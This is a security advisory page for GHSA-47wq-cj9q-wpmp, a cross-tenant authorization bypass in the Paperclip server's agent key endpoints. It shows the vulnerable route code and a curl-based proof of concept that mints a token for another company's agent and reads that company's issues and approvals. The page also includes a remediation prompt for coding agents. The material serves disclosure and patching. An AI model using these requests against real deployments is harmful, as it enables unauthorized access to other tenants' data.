# GHSA-47wq-cj9q-wpmp: Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys
> Authenticated users can mint API tokens for agents in other companies due to missing authorization checks, enabling cross-tenant access.
- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 16 Apr 2026
## What is GHSA-47wq-cj9q-wpmp?
GHSA-47wq-cj9q-wpmp is a missing authorization vulnerability in @paperclipai/server, published on 16 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim.
### Official description
> Isolated paperclip instance running in authenticated mode (default config)
> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post
> the 2026.410.0 patch). This advisory was verified on an unmodified build.
### Summary
`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and
`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`
lines 2050-2087) only call `assertBoard` to authorize the caller. They never
call `assertCompanyAccess` and never verify that the caller is a member of the
company that owns the target agent.
Any authenticated board user (including a freshly signed-up account with zero
company memberships and no `instance_admin` role) can mint a plaintext
`pcp_*` agent API token for any agent in any company on the instance. The
minted token is bound to the **victim** agent's `companyId` server-side, so
every downstream `assertCompanyAccess` check on that token authorizes
operations inside the victim tenant.
This is a pure authorization bypass on the core tenancy boundary. It is
distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in
2026.410.0): that advisory fixed one handler, this report is a different
handler with the same class of mistake that the 2026.410.0 patch did not
cover.
### Root Cause
`server/src/routes/agents.ts`, lines 2050-2087:
```ts
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
...
res.status(201).json(key); // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const keyId = req.params.keyId as string;
const revoked = await svc.revokeKey(keyId);
...
});
```
Compare the handler 12 lines below, `router.post("/agents/:id/wakeup")`,
which shows the correct pattern: it fetches the agent, then calls
`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above
do not even fetch the agent.
The token returned by `POST /agents/:id/keys` is bound to the **victim**
company in `server/src/services/agents.ts`, lines 580-609:
```ts
createApiKey: async (id: string, name: string) => {
const existing = await getById(id); // victim agent
...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // <-- victim tenant
name,
keyHash,
})
.returning()
.then((rows) => rows[0]);
return {
id: created.id,
name: created.name,
token, // <-- plaintext returned
createdAt: created.createdAt,
};
},
```
`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer
token to `actor = { type: "agent", companyId: existing.companyId }`, so every
subsequent `assertCompanyAccess(req, victim.companyId)` check passes.
The exact same `assertBoard`-only pattern is also present on agent lifecycle
handlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,
and `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.
### Trigger Conditions
1. Paperclip running in `authenticated` mode (the public, multi-user
configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).
2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same
default precondition as GHSA-68qg-g8mg-6pr7).
3. At least one other company exists on the instance with at least one
agent. In practice this is the normal state of any production paperclip
deployment. The attacker needs the victim agent's ID, which leaks through
activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that
the 2026.410.0 disclosure also flagged as under-protected.
No admin role, no invite, no email verification, no CSRF dance. The attacker
is an authenticated browser-session user with zero company memberships.
### PoC
Verified against a freshly built `ghcr.io/paperclipai/paperclip:latest`
container at commit `b649bd4` (2026.411.0-canary.8, which is **post** the
2026.410.0 import-bypass patch). Full 5-step reproduction:
> Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow
> (no invite, no verification) and confirms via `GET /api/companies` that she
> is a member of zero companies. She has no tenant access through the normal
> authorization path.
```bash
# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.
# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://:3102/api/companies
# -> []
```
> Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys`
> targeting an agent in Victim Corp (a company she is NOT a member of). The
> server returns a plaintext `pcp_*` token tied to the victim's `companyId`.
> There is no authorization error. `assertBoard` passed because Mallory is a
> board user; `assertCompanyAccess` was never called.
```bash
# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Origin: http://:3102" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
```
> Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`
> resolves it to `actor = { type: "agent", companyId: VICTIM }`, so every
> downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.
> Mallory can now enumerate the victim's company metadata, issues, approvals,
> and agent configuration — none of which she had access to 30 seconds ago.
```bash
# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }
```
Observed outputs (all verified on live instance at time of submission):
- `POST /api/agents/:id/keys` → **2
## Which versions are affected by GHSA-47wq-cj9q-wpmp?
2 open source packages ship an affected version, including @paperclipai/server.
| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@paperclipai/server` | npm | All versions | 2026.416.0 |
| `@paperclipai/server` | npm | All versions | 2026.416.0 |
## How do I fix GHSA-47wq-cj9q-wpmp?
Upgrade @paperclipai/server to 2026.416.0 or later.
## Is GHSA-47wq-cj9q-wpmp being exploited?
There is no known exploitation of GHSA-47wq-cj9q-wpmp in the wild and no public exploit code.
## Fix prompt for AI coding agents
```text
Check this codebase for GHSA-47wq-cj9q-wpmp and fix it if it is affected.
What it is: GHSA-47wq-cj9q-wpmp is a missing authorization vulnerability in @paperclipai/server, published on 16 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-47wq-cj9q-wpmp in the wild and no public exploit code.
Affected packages and fixed versions:
- @paperclipai/server (npm): affected all versions; fixed in 2026.416.0
- @paperclipai/server (npm): affected all versions; fixed in 2026.416.0
Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.
Reference: https://insights.sbomify.com/GHSA-47wq-cj9q-wpmp/ (Markdown: https://insights.sbomify.com/GHSA-47wq-cj9q-wpmp/index.md)
```
## Sources
- OSV: https://osv.dev/vulnerability/GHSA-47wq-cj9q-wpmp
---
From sbomify Insights: https://insights.sbomify.com/GHSA-47wq-cj9q-wpmp/
Summaries are generated and may contain mistakes; the official description above is the record.